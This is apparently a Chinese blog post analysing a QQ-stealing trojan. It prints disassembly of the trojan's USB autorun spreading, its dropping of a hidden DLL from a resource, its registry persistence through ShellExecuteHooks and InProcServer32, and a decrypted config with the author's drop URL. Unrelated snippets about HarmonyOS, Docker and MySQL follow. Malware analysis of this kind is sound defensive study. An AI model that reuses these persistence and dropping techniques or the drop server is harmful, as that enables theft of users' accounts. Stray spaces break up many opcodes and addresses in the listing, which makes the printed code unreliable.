herx1

SysAuto病毒简单分析（一个盗QQ木马）

首先用PEID查看是用UPX加壳，脱掉后显示为Delphi。

从文件最后读出文件大小（已加密），XOR解密后得到真正的文件大小。

下面是简单的分析过程：

将病毒文件及启动文件autorun.inf复制到E盘，然后设置文件隐藏属性

0040484C /$ 55 push ebp

0040484D |. 8BEC mov ebp,esp

0040484F |. 6A 00 push 0

00404851 |. 6A 00 push 0

00404853 |. 33C 0 xor eax,eax

00404855 |. 55 push ebp

00404856 |. 68 02494000 push SysAuto1.00404902

0040485B |. 64:FF30 push dword ptr fs:[eax]

0040485E |. 64:8920 mov dword ptr fs:[eax],esp

00404861 |. 8D55 FC lea edx,dword ptr ss:[ebp-4]

00404864 |. B8 18494000 mov eax,SysAuto1.00404918 ; ASCII "E:/"

00404869 |. E8 86FEFFFF call SysAuto 1.004046F 4

0040486E |. 68 80000000 push 80 ; /FileAttributes = NORMAL

00404873 |. 68 1C 494000 push SysAuto 1.0040491C ; |FileName = "E:/SysAuto.exe"

00404878 |. E8 BFFBFFFF call <jmp.&KERNEL32.SetFileAttributesA>; /SetFileAttributesA

0040487D |. 68 1C 494000 push SysAuto 1.0040491C ; /FileName = "E:/SysAuto.exe"

00404882 |. E8 25FBFFFF call <jmp.&KERNEL32.DeleteFileA> ; /DeleteFileA

00404887 |. 6A 00 push 0

00404889 |. 68 1C 494000 push SysAuto 1.0040491C ; ASCII "E:/SysAuto.exe"

0040488E |. 8D 55 F 8 lea edx,dword ptr ss:[ebp-8]

00404891 |. 33C 0 xor eax,eax

00404893 |. E 8 F 0E1FFFF call SysAuto 1.00402A 88

00404898 |. 8B 45 F 8 mov eax,dword ptr ss:[ebp-8]

0040489B |. E8 E4EEFFFF call SysAuto1.00403784

004048A 0 |. 50 push eax ; |ExistingFileName

004048A 1 |. E 8 F 6FAFFFF call <jmp.&KERNEL32.CopyFileA> ; /CopyFileA

004048A 6 |. BA 34494000 mov edx,SysAuto1.00404934

004048AB |. B8 98494000 mov eax,SysAuto1.00404998 ; ASCII "E:/AutoRun.Inf"

004048B0 |. E8 EB030000 call SysAuto1.00404CA0

004048B5 |. 6A 06 push 6 ; /FileAttributes = HIDDEN|SYSTEM

004048B7 |. 68 1C 494000 push SysAuto 1.0040491C ; |FileName = "E:/SysAuto.exe"

004048BC |. E8 7BFBFFFF call <jmp.&KERNEL32.SetFileAttributesA>; /SetFileAttributesA

004048C 1 |. BA B0494000 mov edx,SysAuto1.004049B0 ; ASCII "Proc"

004048C 6 |. B8 18494000 mov eax,SysAuto1.00404918 ; ASCII "E:/"

004048CB |. E8 5CFFFFFF call SysAuto 1.0040482C

004048D0 |. 68 F 4010000 push 1F 4 ; /Timeout = 500. ms

004048D5 |. E8 82FBFFFF call <jmp.&KERNEL32.Sleep> ; /Sleep

004048DA |. 8B55 FC mov edx,dword ptr ss:[ebp-4]

004048DD |. B8 18494000 mov eax,SysAuto1.00404918 ; ASCII "E:/"

004048E2 |. E8 45FFFFFF call SysAuto 1.0040482C

004048E7 |. 33C 0 xor eax,eax

004048E9 |. 5A pop edx

004048EA |. 59 pop ecx

004048EB |. 59 pop ecx

004048EC |. 64:8910 mov dword ptr fs:[eax],edx

004048EF |. 68 09494000 push SysAuto1.00404909

004048F 4 |> 8D 45 F 8 lea eax,dword ptr ss:[ebp-8]

004048F 7 |. BA 02000000 mov edx,2

004048FC |. E8 27ECFFFF call SysAuto1.00403528

00404901 /. C3 retn

创建autorun.inf文件

00404CA0 /$ 53 push ebx

00404CA1 |. 56 push esi

00404CA2 |. 57 push edi

00404CA3 |. 51 push ecx

00404CA4 |. 8BF2 mov esi,edx

00404CA6 |. 8BD8 mov ebx,eax

00404CA8 |. 33FF xor edi,edi

00404CAA |. 6A 00 push 0

00404CAC |. 6A 06 push 6

00404CAE |. 6A 02 push 2

00404CB0 |. 6A 00 push 0

00404CB2 |. 6A 03 push 3

00404CB4 |. 68 000000C 0 push C0000000

00404CB9 |. 8BC3 mov eax,ebx

00404CBB |. E 8 C 4EAFFFF call SysAuto1.00403784

00404CC0 |. 50 push eax ; |FileName

00404CC1 |. E8 DEF6FFFF call <jmp.&KERNEL32.CreateFileA> ; /CreateFileA

00404CC6 |. 8BD8 mov ebx,eax

00404CC8 |. 83FB FF cmp ebx,-1

00404CCB |. 74 2C je short SysAuto1.00404CF9

00404CCD |. 6A 00 push 0

00404CCF |. 8D4424 04 lea eax,dword ptr ss:[esp+4]

00404CD3 |. 50 push eax

00404CD4 |. 8BC6 mov eax,esi

00404CD6 |. E8 45E9FFFF call SysAuto1.00403620

00404CDB |. 50 push eax

00404CDC |. 8BC6 mov eax,esi

00404CDE |. E 8 A 1EAFFFF call SysAuto1.00403784

00404CE3 |. 50 push eax ; |Buffer

00404CE4 |. 53 push ebx ; |hFile

00404CE5 |. E8 7AF7FFFF call <jmp.&KERNEL32.WriteFile> ; /WriteFile

00404CEA |. 53 push ebx ; /hFile

00404CEB |. E8 44F 7FFFF call <jmp.&KERNEL32.SetEndOfFile> ; /SetEndOfFile

00404CF0 |. 53 push ebx ; /hObject

00404CF1 |. E8 9EF6FFFF call <jmp.&KERNEL32.CloseHandle> ; /CloseHandle

00404CF6 |. 83CF FF or edi,FFFFFFFF

00404CF9 |> 8BC7 mov eax,edi

00404CFB |. 5A pop edx

00404CFC |. 5F pop edi

00404CFD |. 5E pop esi

00404CFE |. 5B pop ebx

00404CFF /. C3 retn

向C:/Program Files/Internet Explorer/PLUGINS/复制文件System64.Sys

00405719 |. A 1 C 8604000 mov eax,dword ptr ds:[ 4060C 8]

0040571E |. 8B00 mov eax,dword ptr ds:[eax]

00405720 |. E8 5FE0FFFF call SysAuto1.00403784

00405725 |. 50 push eax

00405726 |. 8D55 D4 lea edx,dword ptr ss:[ebp -2C ]

00405729 |. A 1 C 4604000 mov eax,dword ptr ds:[ 4060C 4]

0040572E |. E8 85F 2FFFF call SysAuto1.004049B8

00405733 |. 8B45 D4 mov eax,dword ptr ss:[ebp -2C ]

00405736 |. E8 49E0FFFF call SysAuto1.00403784

0040573B |. 50 push eax ; |String1

0040573C |. E8 33EDFFFF call <jmp.&KERNEL32.lstrcmpiA> ; /lstrcmpiA

00405741 |. 85C 0 test eax,eax

00405743 |. 74 5D je short SysAuto 1.004057A 2

00405745 |. 8B0D C8604000 mov ecx,dword ptr ds:[ 4060C 8] ; SysAuto 1.004060AC

0040574B |. 8B09 mov ecx,dword ptr ds:[ecx]

0040574D |. A 1 C 8604000 mov eax,dword ptr ds:[ 4060C 8]

00405752 |. 8B 15 C 4764000 mov edx,dword ptr ds:[ 4076C 4]

00405758 |. E8 0FDFFFFF call SysAuto 1.0040366C

0040575D |. A 1 C 8604000 mov eax,dword ptr ds:[ 4060C 8]

00405762 |. 8B00 mov eax,dword ptr ds:[eax]

00405764 |. E8 1BE0FFFF call SysAuto1.00403784

00405769 |. 50 push eax ; /FileName

0040576A |. E8 3DECFFFF call <jmp.&KERNEL32.DeleteFileA> ; /DeleteFileA

0040576F |. 6A 00 push 0

00405771 |. A 1 C 8604000 mov eax,dword ptr ds:[ 4060C 8]

00405776 |. 8B00 mov eax,dword ptr ds:[eax]

00405778 |. E8 07E0FFFF call SysAuto1.00403784

0040577D |. 50 push eax

0040577E |. A 1 C 4604000 mov eax,dword ptr ds:[ 4060C 4]

00405783 |. E8 FCDFFFFF call SysAuto1.00403784

00405788 |. 50 push eax ; |ExistingFileName

00405789 |. E8 0EECFFFF call <jmp.&KERNEL32.CopyFileA> ; /CopyFileA

0040578E |. 6A 06 push 6

00405790 |. A 1 C 8604000 mov eax,dword ptr ds:[ 4060C 8]

00405795 |. 8B00 mov eax,dword ptr ds:[eax]

00405797 |. E8 E8DFFFFF call SysAuto1.00403784

0040579C |. 50 push eax ; |FileName

0040579D |. E8 9AECFFFF call <jmp.&KERNEL32.SetFileAttributes>; /SetFileAttributesA

004057A 2 |> B 8 C 0764000 mov eax,SysAuto 1.004076C 0

004057A 7 |. B9 74594000 mov ecx,SysAuto1.00405974 ; ASCII "System64.Tao"

004057AC |. 8B 15 C 4764000 mov edx,dword ptr ds:[ 4076C 4]

004057B2 |. E8 B5DEFFFF call SysAuto 1.0040366C

004057B7 |. B 8 C 8764000 mov eax,SysAuto 1.004076C 8

004057BC |. B9 8C 594000 mov ecx,SysAuto 1.0040598C ; ASCII "System64.Sys"

004057C 1 |. 8B 15 C 4764000 mov edx,dword ptr ds:[ 4076C 4]

004057C 7 |. E 8 A 0DEFFFF call SysAuto 1.0040366C

004057CC |. A 1 C 8764000 mov eax,dword ptr ds:[ 4076C 8]

004057D1 |. E8 AEDFFFFF call SysAuto1.00403784

004057D6 |. 8BD8 mov ebx,eax

004057D8 |. 53 push ebx ; /FileName = "C:/Program Files/Internet Explorer/PLUGINS/System64.Sys"

004057D9 |. E8 CEEBFFFF call <jmp.&KERNEL32.DeleteFileA> ; /DeleteFileA

004057DE |. 53 push ebx ; /Path

004057DF |. E8 44EEFFFF call <jmp.&shlwapi.PathFileExistsA> ; /PathFileExistsA

判断文件是否存在，如果不存在，从资源中取出

004057E4 |. 85C 0 test eax,eax

004057E6 |. 74 33 je short SysAuto1.0040581B

004057E8 |. A1 CC764000 mov eax,dword ptr ds:[4076CC]

004057ED |. 50 push eax

004057EE |. A 1 C 0764000 mov eax,dword ptr ds:[ 4076C 0]

004057F 3 |. E8 8CDFFFFF call SysAuto1.00403784

004057F 8 |. 8BC8 mov ecx,eax ; |

004057FA |. BA 9C 594000 mov edx,SysAuto 1.0040599C ; |ASCII "FILE"

004057FF |. B8 0A 000000 mov eax, 0A ; |

00405804 |. E8 37F 2FFFF call SysAuto 1.00404A 40 ; /SysAuto 1.00404A 40

00405809 |. 8B 15 C 0764000 mov edx,dword ptr ds:[ 4076C 0]

0040580F |. A 1 C 8764000 mov eax,dword ptr ds:[ 4076C 8]

00405814 |. E8 57F 6FFFF call SysAuto1.00404E70

00405819 |. EB 17 jmp short SysAuto1.00405832

0040581B |> A1 CC764000 mov eax,dword ptr ds:[4076CC]

00405820 |. 50 push eax ; /Arg1 => 009B02B4

00405821 |. 8BCB mov ecx,ebx ; |

00405823 |. BA 9C 594000 mov edx,SysAuto 1.0040599C ; |ASCII "FILE"

00405828 |. B8 0A 000000 mov eax, 0A ; |

0040582D |. E8 0EF2FFFF call SysAuto 1.00404A 40 ; /SysAuto 1.00404A 40

00405832 |> BA A4594000 mov edx,SysAuto 1.004059A 4 ; ASCII "yyyrt8jjjk9bjko"

00405837 |. 33C 0 xor eax,eax

00405839 |. E 8 C 2F 1FFFF call SysAuto 1.00404A 00

0040583E |. 85C 0 test eax,eax

00405840 |. 0F 85 AF000000 jnz SysAuto 1.004058F 5

00405846 |. BA B4594000 mov edx,SysAuto1.004059B4 ; ASCII "xxkxxxxjtrj8jok"

0040584B |. 33C 0 xor eax,eax

0040584D |. E8 AEF1FFFF call SysAuto 1.00404A 00

00405852 |. 85C 0 test eax,eax

00405854 |. 0F 85 9B000000 jnz SysAuto 1.004058F 5

0040585A |. 6A 00 push 0 ; /Arg8 = 00000000

0040585C |. 6A 00 push 0 ; |Arg7 = 00000000

0040585E |. 6A 00 push 0 ; |Arg6 = 00000000

00405860 |. 6A 00 push 0 ; |Arg5 = 00000000

00405862 |. 6A 00 push 0 ; |Arg4 = 00000000

00405864 |. 6A 00 push 0 ; |Arg3 = 00000000

00405866 |. A1 50764000 mov eax,dword ptr ds:[407650] ; |

0040586B |. 50 push eax ; |Arg2 => 00400000 ASCII "MZP"

0040586C |. 6A 00 push 0 ; |Arg1 = 00000000

0040586E |. BA A4594000 mov edx,SysAuto 1.004059A 4 ; |ASCII "yyyrt8jjjk9bjko"

00405873 |. B 8 C 4594000 mov eax,SysAuto 1.004059C 4 ; |ASCII "Edit"

00405878 |. 33C 9 xor ecx,ecx ; |

0040587A |. E8 7DFCFFFF call SysAuto1.004054FC ; /SysAuto1.004054FC

0040587F |. 53 push ebx ; /FileName

00405880 |. E8 87EBFFFF call <jmp.&KERNEL32.LoadLibraryA> ; /LoadLibraryA

00405885 |. 8BD8 mov ebx,eax

00405887 |. 85DB test ebx,ebx

00405889 |. 74 6A je short SysAuto 1.004058F 5

0040588B |. 68 CC594000 push SysAuto1.004059CC ; /ProcNameOrOrdinal = "MsgHookOff"

00405890 |. 53 push ebx ; |hModule

00405891 |. E8 4EEBFFFF call <jmp.&KERNEL32.GetProcAddress> ; /GetProcAddress

00405896 |. A3 D0764000 mov dword ptr ds:[4076D0],eax

0040589B |. 68 D8594000 push SysAuto1.004059D8 ; /ProcNameOrOrdinal = "MsgHookOn"

004058A 0 |. 53 push ebx ; |hModule

004058A 1 |. E8 3EEBFFFF call <jmp.&KERNEL32.GetProcAddress> ; /GetProcAddress

004058A 6 |. A3 D4764000 mov dword ptr ds:[4076D4],eax

004058AB |. 833D D0764000>cmp dword ptr ds:[4076D0],0

004058B2 |. 74 41 je short SysAuto 1.004058F 5

004058B4 |. 833D D4764000>cmp dword ptr ds:[4076D4],0

004058BB |. 74 38 je short SysAuto 1.004058F 5

004058BD |. FF15 D4764000 call dword ptr ds:[4076D4]

004058C 3 |. EB 06 jmp short SysAuto1.004058CB

004058C 5 |> 56 /push esi ; /pMsg

004058C 6 |. E 8 C 9EBFFFF |call <jmp.&user32.DispatchMessageA> ; /DispatchMessageA

004058CB |> 6A 00 push 0 ; /MsgFilterMax = 0

004058CD |. 6A 00 |push 0 ; |MsgFilterMin = 0

004058CF |. 6A 00 |push 0 ; |hWnd = NULL

004058D1 |. 56 |push esi ; |pMsg

004058D2 |. E8 D5EBFFFF |call <jmp.&user32.GetMessageA> ; /GetMessageA

004058D7 |. 85C 0 |test eax,eax

004058D9 |.^ 75 EA /jnz short SysAuto 1.004058C 5

004058DB |. FF15 D0764000 call dword ptr ds:[4076D0]

004058E1 |. 6A 00 push 0 ; /hWnd = NULL

004058E3 |. E8 9CEBFFFF call <jmp.&user32.CloseWindow> ; /CloseWindow

004058E8 |. 53 push ebx ; /hLibModule

004058E9 |. E8 CEEAFFFF call <jmp.&KERNEL32.FreeLibrary> ; /FreeLibrary

004058EE |. 6A 00 push 0 ; /hWnd = NULL

004058F 0 |. E8 8FEBFFFF call <jmp.&user32.CloseWindow> ; /CloseWindow

004058F 5 |> 68 E4594000 push SysAuto1.004059E4 ; /Arg1 = 004059E4

004058FA |. B9 E8594000 mov ecx,SysAuto1.004059E8 ; |ASCII "{754FB7D8-B8FE-4810-B363-A788CD 060F 1F }"

004058FF |. BA 105A 4000 mov edx,SysAuto 1.00405A 10 ; |ASCII "SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/ShellExecuteHooks"

00405904 |. B8 02000080 mov eax,80000002 ; |

00405909 |. E 8 F 2F 3FFFF call SysAuto1.00404D00 ; /SysAuto1.00404D00

0040590E |. A 1 C 8764000 mov eax,dword ptr ds:[ 4076C 8]

00405913 |. E8 6CDEFFFF call SysAuto1.00403784

00405918 |. 50 push eax ; /Arg1

00405919 |. E8 42F 4FFFF call SysAuto1.00404D60 ; /SysAuto1.00404D60

0040591E |> 33C 0 xor eax,eax

00405920 |. 5A pop edx

00405921 |. 59 pop ecx

00405922 |. 59 pop ecx

00405923 |. 64:8910 mov dword ptr fs:[eax],edx

00405926 |. 68 40594000 push SysAuto1.00405940

0040592B |> 8D45 D4 lea eax,dword ptr ss:[ebp -2C ]

0040592E |. BA 07000000 mov edx,7

00405933 |. E 8 F 0DBFFFF call SysAuto1.00403528

00405938 /. C3 retn

从资源中取出system64.sys

00404A 40 /$ 55 push ebp

00404A 41 |. 8BEC mov ebp,esp

00404A 43 |. 83C 4 F 4 add esp, -0C

00404A 46 |. 53 push ebx

00404A 47 |. 56 push esi

00404A 48 |. 57 push edi

00404A 49 |. 894D FC mov dword ptr ss:[ebp-4],ecx

00404A 4C |. 8BF2 mov esi,edx

00404A 4E |. 8BD8 mov ebx,eax

00404A 50 |. 837D 08 00 cmp dword ptr ss:[ebp+8],0

00404A 54 |. 0F 84 B3000000 je SysAuto1.00404B0D

00404A 5A |. 53 push ebx ; /ResourceType

00404A 5B |. 56 push esi ; |ResourceName

00404A 5C |. A1 50764000 mov eax,dword ptr ds:[407650] ; |

00404A 61 |. 50 push eax ; |hModule => 00400000 (SysAuto1)

00404A 62 |. E8 4DF9FFFF call <jmp.&KERNEL32.FindResourc>; /FindResourceA

00404A 67 |. 8BF8 mov edi,eax ; SysAuto 1.0040C 080

00404A 69 |. 85FF test edi,edi

00404A 6B |. 0F 84 9C 000000 je SysAuto1.00404B0D

00404A 71 |. 57 push edi ; /hResource

00404A 72 |. A1 50764000 mov eax,dword ptr ds:[407650] ; |

00404A 77 |. 50 push eax ; |hModule => 00400000 (SysAuto1)

00404A 78 |. E8 97F 9FFFF call <jmp.&KERNEL32.LoadResourc>; /LoadResource

00404A 7D |. 8BF0 mov esi,eax

00404A 7F |. 85F 6 test esi,esi

00404A 81 |. 0F 84 86000000 je SysAuto1.00404B0D

00404A 87 |. 56 push esi ; /hResource

00404A 88 |. E8 8FF9FFFF call <jmp.&KERNEL32.LockResourc>; /LockResource

00404A 8D |. 8945 F 4 mov dword ptr ss:[ebp-C],eax

00404A 90 |. 837D F4 00 cmp dword ptr ss:[ebp-C],0

00404A 94 |. 74 77 je short SysAuto1.00404B0D

00404A 96 |. 6A 00 push 0 ; /hTemplateFile = NULL

00404A 98 |. 6A 06 push 6 ; |Attributes = HIDDEN|SYSTEM

00404A 9A |. 6A 02 push 2 ; |Mode = CREATE_ALWAYS

00404A 9C |. 6A 00 push 0 ; |pSecurity = NULL

00404A 9E |. 6A 00 push 0 ; |ShareMode = 0

00404AA0 |. 68 000000C 0 push C0000000 ; |Access = GENERIC_READ|GENERIC_WRITE

00404AA5 |. 8B45 FC mov eax,dword ptr ss:[ebp-4] ; |

00404AA8 |. 50 push eax ; |FileName

00404AA9 |. E 8 F 6F 8FFFF call <jmp.&KERNEL32.CreateFileA>; /CreateFileA

00404AAE |. 8BD8 mov ebx,eax

00404AB0 |. 83FB FF cmp ebx,-1

00404AB3 |. 74 58 je short SysAuto1.00404B0D

00404AB5 |. 57 push edi ; /hResource

00404AB6 |. A1 50764000 mov eax,dword ptr ds:[407650] ; |

00404ABB |. 50 push eax ; |hModule => 00400000 (SysAuto1)

00404ABC |. E8 93F 9FFFF call <jmp.&KERNEL32.SizeofResou>; /SizeofResource

00404AC 1 |. 8BF8 mov edi,eax

00404AC 3 |. 6A 00 push 0 ; /pOverlapped = NULL

00404AC 5 |. 8D 45 F 8 lea eax,dword ptr ss:[ebp-8] ; |

00404AC 8 |. 50 push eax ; |pBytesWritten

00404AC 9 |. 57 push edi ; |nBytesToWrite

00404ACA |. 8B 45 F 4 mov eax,dword ptr ss:[ebp-C] ; |

00404ACD |. 50 push eax ; |Buffer

00404ACE |. 53 push ebx ; |hFile

00404ACF |. E8 90F 9FFFF call <jmp.&KERNEL32.WriteFile> ; /WriteFile

00404AD4 |. 8B45 08 mov eax,dword ptr ss:[ebp+8]

00404AD7 |. E8 44EBFFFF call SysAuto1.00403620

00404ADC |. 8BF8 mov edi,eax

00404ADE |. 6A 00 push 0

00404AE0 |. 8D 45 F 8 lea eax,dword ptr ss:[ebp-8]

00404AE3 |. 50 push eax

00404AE4 |. 57 push edi

00404AE5 |. 8B45 08 mov eax,dword ptr ss:[ebp+8]

00404AE8 |. E8 97ECFFFF call SysAuto1.00403784

00404AED |. 50 push eax ; |Buffer

00404AEE |. 53 push ebx ; |hFile

00404AEF |. E8 70F 9FFFF call <jmp.&KERNEL32.WriteFile> ; /WriteFile

00404AF4 |. 53 push ebx ; /hFile

00404AF5 |. E8 3AF9FFFF call <jmp.&KERNEL32.SetEndOfFil>; /SetEndOfFile

00404AFA |. 53 push ebx ; /hObject

00404AFB |. E8 94F 8FFFF call <jmp.&KERNEL32.CloseHandle>; /CloseHandle

00404B00 |. 8BC6 mov eax,esi

00404B02 |. E8 B 5F 9FFFF call SysAuto1.004044BC

00404B07 |. 56 push esi ; /hResource

00404B08 |. E8 B 7F 8FFFF call <jmp.&KERNEL32.FreeResourc>; /FreeResource

00404B0D |> 5F pop edi

00404B0E |. 5E pop esi

00404B 0F |. 5B pop ebx

00404B10 |. 8BE5 mov esp,ebp

00404B12 |. 5D pop ebp

00404B13 /. C2 0400 retn 4

修改注册表进行文件启动

00404D00 /$ 55 push ebp

00404D01 |. 8BEC mov ebp,esp

00404D03 |. 83C 4 F 8 add esp,-8

00404D06 |. 53 push ebx

00404D07 |. 56 push esi

00404D08 |. 8BF1 mov esi,ecx

00404D 0A |. 8B5D 08 mov ebx,dword ptr ss:[ebp+8]

00404D0D |. 33C 9 xor ecx,ecx

00404D 0F |. 894D FC mov dword ptr ss:[ebp-4],ecx

00404D12 |. C 745 F 8 01000>mov dword ptr ss:[ebp-8],1

00404D19 |. 8D4D F8 lea ecx,dword ptr ss:[ebp-8]

00404D 1C |. 51 push ecx ; /pDisposition

00404D1D |. 8D4D FC lea ecx,dword ptr ss:[ebp-4] ; |

00404D20 |. 51 push ecx ; |pHandle

00404D21 |. 6A 00 push 0 ; |pSecurity = NULL

00404D23 |. 68 3F 000F 00 push 0F 003F ; |Access = KEY_ALL_ACCESS

00404D28 |. 6A 00 push 0 ; |Options = REG_OPTION_NON_VOLATILE

00404D 2A |. 6A 00 push 0 ; |Class = NULL

00404D 2C |. 6A 00 push 0 ; |Reserved = 0

00404D2E |. 52 push edx ; |Subkey

00404D 2F |. 50 push eax ; |hKey

00404D30 |. E8 4FF6FFFF call <jmp.&advapi32.RegCreateKe>; /RegCreateKeyExA

00404D35 |. 53 push ebx ; /String = ""

00404D36 |. E8 41F 7FFFF call <jmp.&KERNEL32.lstrlenA> ; /lstrlenA

00404D3B |. 40 inc eax

00404D 3C |. 50 push eax ; /BufSize

00404D3D |. 53 push ebx ; |Buffer

00404D3E |. 6A 01 push 1 ; |ValueType = REG_SZ

00404D40 |. 6A 00 push 0 ; |Reserved = 0

00404D42 |. 56 push esi ; |ValueName

00404D43 |. 8B45 FC mov eax,dword ptr ss:[ebp-4] ; |

00404D46 |. 50 push eax ; |hKey

00404D47 |. E8 40F 6FFFF call <jmp.&advapi32.RegSetValue>; /RegSetValueExA

00404D 4C |. 8B45 FC mov eax,dword ptr ss:[ebp-4]

00404D 4F |. 50 push eax ; /hKey

00404D50 |. E8 27F 6FFFF call <jmp.&advapi32.RegCloseKey>; /RegCloseKey

00404D55 |. 5E pop esi

00404D56 |. 5B pop ebx

00404D57 |. 59 pop ecx

00404D58 |. 59 pop ecx

00404D59 |. 5D pop ebp

00404D 5A /. C2 0400 retn 4

00404D5D 8D40 00 lea eax,dword ptr ds:[eax]

00404D60 /$ 55 push ebp

00404D61 |. 8BEC mov ebp,esp

00404D63 |. 53 push ebx

00404D64 |. BB 84764000 mov ebx,SysAuto1.00407684

00404D69 |. 8BC3 mov eax,ebx

00404D6B |. BA E44D4000 mov edx,SysAuto1.00404DE4 ; ASCII "CLSID/{754FB7D8-B8FE-4810-B363-A788CD 060F 1F }"

00404D70 |. E8 E3E7FFFF call SysAuto1.00403558

00404D75 |. 68 144E4000 push SysAuto1.00404E14

00404D 7A |. 8B03 mov eax,dword ptr ds:[ebx]

00404D 7C |. E8 03EAFFFF call SysAuto1.00403784

00404D81 |. 8BD0 mov edx,eax ; |

00404D83 |. B9 144E4000 mov ecx,SysAuto1.00404E14 ; |

00404D88 |. B8 00000080 mov eax,80000000 ; |

00404D8D |. E8 6EFFFFFF call SysAuto1.00404D00 ; /SysAuto1.00404D00

00404D92 |. 8BC3 mov eax,ebx

00404D94 |. BA 204E4000 mov edx,SysAuto1.00404E20 ; ASCII "/InProcServer32"

00404D99 |. E8 8AE8FFFF call SysAuto1.00403628

00404D9E |. 8B45 08 mov eax,dword ptr ss:[ebp+8]

00404DA1 |. 50 push eax

00404DA2 |. 8B03 mov eax,dword ptr ds:[ebx]

00404DA4 |. E8 DBE9FFFF call SysAuto1.00403784

00404DA9 |. 8BD0 mov edx,eax ; |

00404DAB |. B9 144E4000 mov ecx,SysAuto1.00404E14 ; |

00404DB0 |. B8 00000080 mov eax,80000000 ; |

00404DB5 |. E8 46FFFFFF call SysAuto1.00404D00 ; /SysAuto1.00404D00

00404DBA |. 68 304E4000 push SysAuto1.00404E30 ; ASCII "Apartment"

00404DBF |. 8B03 mov eax,dword ptr ds:[ebx]

00404DC1 |. E8 BEE9FFFF call SysAuto1.00403784

00404DC6 |. 8BD0 mov edx,eax ; |

00404DC8 |. B9 3C 4E4000 mov ecx,SysAuto1.00404E 3C ; |ASCII "ThreadingModel"

00404DCD |. B8 00000080 mov eax,80000000 ; |

00404DD2 |. E8 29FFFFFF call SysAuto1.00404D00 ; /SysAuto1.00404D00

00404DD7 |. 5B pop ebx

00404DD8 |. 5D pop ebp

00404DD9 /. C2 0400 retn 4

根据操作系统版本修改wininit.ini的内容

00404E 4C /$ 81C 4 6CFFFFFF add esp,-94

00404E52 |. C70424 940000>mov dword ptr ss:[esp],94

00404E59 |. 54 push esp ; /pVersionInformation

00404E 5A |. E8 9DF5FFFF call <jmp.&KERNEL32.GetVersionE>; /GetVersionExA

00404E 5F |. 837C 24 10 02 cmp dword ptr ss:[esp+10],2

00404E64 |. 0F 95C 0 setne al

00404E67 |. 81C 4 94000000 add esp,94

00404E6D /. C3 retn

00404E6E 8BC0 mov eax,eax

00404E70 /$ 53 push ebx

00404E71 |. 56 push esi

00404E72 |. 81C 4 F 4FDFFFF add esp, -20C

00404E78 |. 8BF2 mov esi,edx

00404E 7A |. 8BD8 mov ebx,eax

00404E 7C |. E8 CBFFFFFF call SysAuto1.00404E 4C

00404E81 |. 84C 0 test al,al

00404E83 |. 74 4F je short SysAuto1.00404ED4

00404E85 |. 68 04010000 push 104

00404E 8A |. 8D8424 090100>lea eax,dword ptr ss:[esp+109]

00404E91 |. 50 push eax

00404E92 |. 8BC6 mov eax,esi

00404E94 |. E8 EBE8FFFF call SysAuto1.00403784

00404E99 |. 50 push eax ; |LongPath

00404E 9A |. E8 4DF5FFFF call <jmp.&KERNEL32.GetShortPat>; /GetShortPathNameA

00404E 9F |. 68 04010000 push 104

00404EA4 |. 8D4424 04 lea eax,dword ptr ss:[esp+4]

00404EA8 |. 50 push eax

00404EA9 |. 8BC3 mov eax,ebx

00404EAB |. E8 D4E8FFFF call SysAuto1.00403784

00404EB0 |. 50 push eax ; |LongPath

00404EB1 |. E8 36F 5FFFF call <jmp.&KERNEL32.GetShortPat>; /GetShortPathNameA

00404EB6 |. 68 F 44E4000 push SysAuto1.00404EF4 ; /FileName = "wininit.ini"

00404EBB |. 8D8424 090100>lea eax,dword ptr ss:[esp+109] ; |

00404EC2 |. 50 push eax ; |String

00404EC3 |. 8D4424 08 lea eax,dword ptr ss:[esp+8] ; |

00404EC7 |. 50 push eax ; |Key

00404EC8 |. 68 004F 4000 push SysAuto 1.00404F 00 ; |Section = "rename"

00404ECD |. E8 9AF5FFFF call <jmp.&KERNEL32.WritePrivat>; /WritePrivateProfileStringA

00404ED2 |. EB 17 jmp short SysAuto1.00404EEB

00404ED4 |> 6A 05 push 5

00404ED6 |. 8BC3 mov eax,ebx

00404ED8 |. E 8 A 7E8FFFF call SysAuto1.00403784

00404EDD |. 50 push eax

00404EDE |. 8BC6 mov eax,esi

00404EE0 |. E8 9FE8FFFF call SysAuto1.00403784

00404EE5 |. 50 push eax ; |ExistingName

00404EE6 |. E8 39F 5FFFF call <jmp.&KERNEL32.MoveFileExA>; /MoveFileExA

00404EEB |> 81C 4 0C 020000 add esp, 20C

00404EF1 |. 5E pop esi

00404EF2 |. 5B pop ebx

00404EF3 /. C3 retn

中间还有一段是解密作者隐藏的数据，下面是解密出的数据

解密出病毒作者的网址及其他数据

009B 002F 00 CB FB B 4 F 3 D2 AF 0D 0A 32 30 30 他大爷..200

009B 003F 37 2D 36 2D 39 20 31 35 3A 32 34 3A 32 36 0D 0A 7-6-9 15:24:26..

009B 004F 36 34 32 43 32 42 33 35 0D 0A 4B 65 79 5F 4B 65 642C 2B35..Key_Ke

009B 005F 79 0D 0A 36 30 0D 0A 59 65 73 0D 0A 59 65 73 0D y..60..Yes..Yes.

009B 006F 0A 59 65 73 0D 0A 68 74 74 70 3A 2F 2F 77 77 77 .Yes..http://www

009B 007F 2E 70 6C 69 6E 63 65 2E 6E 65 74 2F 58 58 2F 6E .plince.net/XX/n

009B 008F 6E 2E 61 73 70 0D 0A 78 78 78 78 0D 0A 68 74 74 n.asp..xxxx..htt

009B 009F 70 3A 2F 2F 77 77 77 2E 70 6C 69 6E 63 65 2E 6E p://www.plince.n

009B00AF 65 74 2F 58 58 2F 6E 6E 2E 61 73 70 0D 0A 17 E3 et/XX/nn.asp..

www.plince.net/XX/nn.asp

你可能感兴趣的:(c,qq,解密,null,System,buffer)

HarmonyOS NEXT应用开发之NAPI封装ArkTS接口案例_harmonyos napi 2401_83946826 2024年程序员学习 harmonyos 华为
std::unique_lockstd::mutexunil(uniContext->resultWaitUtil.lock);uniContext->resultWaitUtil.cv.wait(unil,[]{returnuniContext->resultWaitUtil.isFinished;});return;}else{status=napi_call_function(uniCont
ubuntu 安装 docker 2301_78094384 ubuntu docker linux
打开网站：Ubuntu|DockerDocs卸载冲突包forpkgindocker.iodocker-docdocker-composedocker-compose-v2podman-dockercontainerdrunc;dosudoapt-getremove$pkg;done运行以下命令#AddDocker'sofficialGPGkey:sudoapt-getupdatesudoapt-g
MySQL 可视化工具 2301_78094384 工具 mysql
navicat优点：使用广泛，老牌软件，功能强大缺点：收费HeidiSQL免费，有免安装版本DownloadHeidiSQL//portable:便携式的下载后解压，双击运行左下角新建，然后输入配置，连接就可以使用了
